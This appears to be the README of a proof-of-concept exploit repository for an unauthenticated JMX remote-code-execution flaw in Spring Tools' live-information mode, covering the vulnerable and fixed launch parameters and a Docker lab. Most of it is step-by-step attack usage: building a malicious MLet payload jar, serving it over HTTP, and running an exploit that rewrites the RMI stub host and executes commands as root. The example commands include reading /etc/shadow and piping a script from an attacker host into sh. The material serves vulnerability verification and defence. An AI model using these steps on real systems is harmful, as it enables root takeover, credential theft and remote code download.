
Exploit de prueba de concepto para RCE JMX no autenticado en el modo de información en vivo de Spring Tools, que utiliza la carga remota de clases MLet para ejecutar comandos arbitrarios en aplicaciones Spring Boot vulnerables.
English README | Aviso de vulnerabilidad: Spring Security Advisory | CVE Record
Vulnerabilidad: cuando Spring Tools for Eclipse ≤ 5.2.0 / VSCode·Cursor·Theia ≤ 2.2.0 inicia una aplicación Spring Boot en el modo live information (activado por defecto), inyecta en la aplicación parámetros JMX remotos sin autenticación, sin TLS y vinculados a todas las interfaces de red. Un atacante en la red adyacente puede conectarse a ese JMX MBeanServer sin credenciales y lograr RCE directa (privilegios root) mediante la carga remota de clases con MLet.
AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:HComparando el tag afectado 5.2.0.RELEASE (== v2.2.0) con el tag corregido 5.3.0.RELEASE (== v2.3.0):
Versión vulnerable eclipse-extensions/.../boot/launch/livebean/JmxBeanSupport.java:
"-Dcom.sun.management.jmxremote", // 启用 JMX
"-Dcom.sun.management.jmxremote.port=<随机空闲端口>",
"-Dcom.sun.management.jmxremote.authenticate=false", // 无认证!
"-Dcom.sun.management.jmxremote.ssl=false", // 无 TLS!
"-Djava.rmi.server.hostname=localhost", // 唯一"障碍": RMI stub 通告 localhost
"-Dspring.jmx.enabled=true",
"-Dmanagement.endpoints.jmx.exposure.include=*" // 全部 actuator 端点经 JMX 暴露
BootLaunchConfigurationDelegate.DEFAULT_ENABLE_JMX = true: activado por defecto; cada vez que se inicia una aplicación Boot desde el IDE se inyectan los parámetros anteriores.vscode-extensions/vscode-spring-boot/lib/debug-config-provider.ts) inyecta los mismos -Dcom.sun.management.jmxremote.port=<port> -Dcom.sun.management.jmxremote.authenticate=false -Dcom.sun.management.jmxremote.ssl=false.Versión corregida 5.3.0:
-Dcom.sun.management.jmxremote.host=127.0.0.1 + -Dcom.sun.management.jmxremote.local.only=true (JMX solo se vincula a la interfaz de bucle local).com.sun.management.jmxremote*; en su lugar, se adjunta localmente al proceso por su PID mediante la Attach API (ídem en el lado de VSCode, donde se eliminan por completo los parámetros JMX remotos en debug-config-provider.ts).Nota: la simple aparición de
-Dcom.sun.management.jmxremote.portya activa el agente JMX (sin necesidad del conmutador principalcom.sun.management.jmxremote); la variante de VSCode también es efectiva.
Dependencias: docker, JDK 17+ (por defecto /usr/lib/jvm/java-21-openjdk-amd64), maven, python3, nsenter (opcional).
./run-lab.sh vuln # 漏洞配置 (5.2.0 参数) -> 预期: RCE 成功
./run-lab.sh fixed-pinned # 修复版 5.3.0 固定端口 -> 预期: 攻击被拒 (JMX 仅 127.0.0.1)
./run-lab.sh fixed-auto # 修复版 5.3.0 默认 auto -> 预期: 攻击被拒 (无远程 JMX 端口)
Personalización del comando que se ejecuta en la máquina víctima (por defecto id; hostname; uname -a):
PAYLOAD_CMD="cat /etc/shadow" ./run-lab.sh vuln
PAYLOAD_CMD="curl -s http://attacker/x.sh | sh" ./run-lab.sh vuln
El script realiza automáticamente: compilar la aplicación Spring Boot de la víctima → crear una red puente aislada de docker (contenedor víctima en 172.22.0.x; el atacante está en el host, simulando una red adyacente) → iniciar la aplicación con los parámetros JVM de la versión correspondiente → mostrar el puerto de escucha JMX → ejecutar el exploit → verificar el archivo marcador de RCE dentro del contenedor víctima (/tmp/CVE-2026-47858_PWNED*).
attack.sh (recomendado)El comando es totalmente configurable; cambiar el comando no requiere recompilar nada (el comando se pasa mediante la etiqueta MLET <ARG>; el jar es independiente del comando):
./attack.sh <目标IP> <JMX端口> "<命令>" [HTTP端口] [受害容器名]
# 示例
./attack.sh 172.22.0.2 19090 "id; whoami; uname -a" # 基本信息
./attack.sh 172.22.0.2 19090 "cat /etc/shadow" 8000 # 读文件
./attack.sh 172.22.0.2 19090 "curl -s http://attacker/x.sh | sh" 8000 victim # 管道/反弹等
./attack.sh 192.168.1.20 19090 "id" 8000 # 通用远程目标
# 环境变量
PAYLOAD_HOST=192.168.1.10 ./attack.sh ... # 指定受害机能访问到的本机 IP(默认自动探测)
JDK_DIR=/path/to/jdk ./attack.sh ... # 指定 JDK
Proceso: compila automáticamente evil.jar → escapa el comando en XML y genera mlet.txt → levanta un servicio HTTP que sirve evil.jar + mlet.txt → compila y ejecuta JmxExploit → (si se indica el nombre del contenedor) entra en el contenedor para verificar el archivo marcador.
# 1) 编译恶意载荷
cd exploit-server && javac -d classes evil/Pwn.java && jar cf evil.jar -C classes .
# 2) 生成 mlet.txt(把 <命令> 换成你的命令,注意 XML 转义 & < > ")
cat > mlet.txt <<EOF
<MLET CODE="Pwn" ARCHIVE="evil.jar" NAME="Pwn:type=pwn">
<ARG TYPE="java.lang.String" VALUE="<命令>">
</MLET>
EOF
# 3) 提供载荷
python3 -m http.server 8000 --bind 0.0.0.0 # 在 exploit-server 目录下
# 4) 编译并运行利用程序(JDK 17+ 需要 --add-opens 反射改写 RMI stub)
cd attacker && javac JmxExploit.java NaiveJmxClient.java
java --add-opens java.rmi/java.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.server=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport.tcp=ALL-UNNAMED \
-cp classes JmxExploit <目标IP> <JMX端口> "http://<本机IP>:8000/mlet.txt"
# 5) 在目标机上验证
ls -la /tmp/CVE-2026-47858_PWNED* && cat /tmp/CVE-2026-47858_PWNED_cmdout
Pwn implementa DynamicMBean; el comando se ejecuta de forma síncrona en el constructor mediante /bin/sh -c (prioridad: parámetro MLET <ARG> > variable de entorno CVE_PAYLOAD_CMD del proceso víctima > comando por defecto id; hostname; uname -a)./tmp/CVE-2026-47858_PWNED — si existe, la RCE ha tenido éxito/tmp/CVE-2026-47858_PWNED_cmd — el comando realmente ejecutado/tmp/CVE-2026-47858_PWNED_cmdout — la salida del comando (stdout+stderr)¿Por qué
<ARG>? ElMLetParserdel JDK solo reconoce<ARG>(<PARAM>se ignora silenciosamente), y tantoTYPEcomoVALUEson obligatorios; además, el analizador de MLet no procesa comentarios HTML, así quemlet.txtno debe contener ningún texto<...>adicional.
攻击者 ──TCP──▶ 受害者 JMX RMI 注册表(19090) ← 攻击者主动连受害者的服务
攻击者 ◀──TCP── 受害者 RMI Server(随机端口) ← 正常 JMX 协议通信
攻击者 ──调用──▶ 受害 JVM: newClient(null) ← 无凭据登录 MBeanServer
攻击者 ──调用──▶ 受害 JVM: getMBeansFromURL(...) ← 受害 JVM 同步实例化恶意类
受害 JVM ──HTTP GET──▶ 攻击者 :8000/evil.jar ← 唯一的"回调": 下载载荷 jar
受害 JVM 内部: Pwn 构造函数 Runtime.exec("<命令>") ← 命令在受害进程内直接执行
getMBeansFromURL retorna, el comando ya ha terminado (el archivo marcador ya se ha escrito en disco).-Djava.rmi.server.hostname=localhost de la configuración vulnerable solo hace que el stub RMI anuncie "localhost" (el cliente por defecto intentará conectarse a su propio bucle local y fallará; esto se puede reproducir con NaiveJmxClient). JmxExploit lo evade reescribiendo por reflexión el host del TCPEndpoint del stub con la IP real (herramientas ya existentes como java_jmx_server de Metasploit también lo evaden).Evidencia de las pruebas (dentro del contenedor víctima):
$ cat /tmp/CVE-2026-47858_PWNED_cmdout
uid=0(root) gid=0(root) groups=0(root) # 自定义命令输出
d4af4b454b90 # 受害容器主机名
$ cat /tmp/CVE-2026-47858_PWNED_cmd # 自定义命令(经 <ARG> 传入)
echo SECOND_FLEXIBLE_RUN; whoami; pwd; ls -la /app.jar
-Dcom.sun.management.jmxremote.host=127.0.0.1 -Dcom.sun.management.jmxremote.local.only=true como anulación.CVE-2026-47858/
├── README.md # 本文档(中文)
├── README.en.md # 英文文档
├── run-lab.sh # 一键复现(vuln / fixed-pinned / fixed-auto 三种模式)
├── attack.sh # 灵活利用脚本(命令可配置,改命令无需重编译)
├── attacker/
│ ├── JmxExploit.java # 利用程序:stub 主机重写 + MLet 远程类加载 RCE
│ └── NaiveJmxClient.java # 对照组:不绕过 localhost 通告的朴素客户端(必失败)
├── exploit-server/
│ ├── evil/Pwn.java # 恶意 DynamicMBean(构造函数执行命令)
│ ├── mlet.txt.template # MLET 描述模板(命令占位符 __COMMAND__)
│ └── evil.jar # 已构建的恶意载荷(命令无关,可随时重建)
└── victim-app/app/ # 受害 Spring Boot 4.0.7 应用(web+actuator)
Este repositorio está destinado exclusivamente a investigación de seguridad autorizada, verificación de vulnerabilidades y pruebas defensivas. Explotar cualquier sistema sin autorización es ilegal; el usuario asume toda la responsabilidad.
| Configuración | Escucha JMX | Conexión remota no autenticada | RCE |
|---|
| Versión vulnerable 5.2.0 (parámetros de Eclipse) | *:19090, etc. (0.0.0.0) | ✅ (evade localhost reescribiendo el host del stub) | ✅ root |
| Versión vulnerable 5.2.0 (parámetros de VSCode 2.2.0) | *:19090 (0.0.0.0) | ✅ | ✅ |
| Versión corregida 5.3.0 (puerto fijo) | Solo 127.0.0.1 | ❌ conexión rechazada | ❌ |
| Versión corregida 5.3.0 (auto por defecto) | Sin puerto JMX | ❌ | ❌ |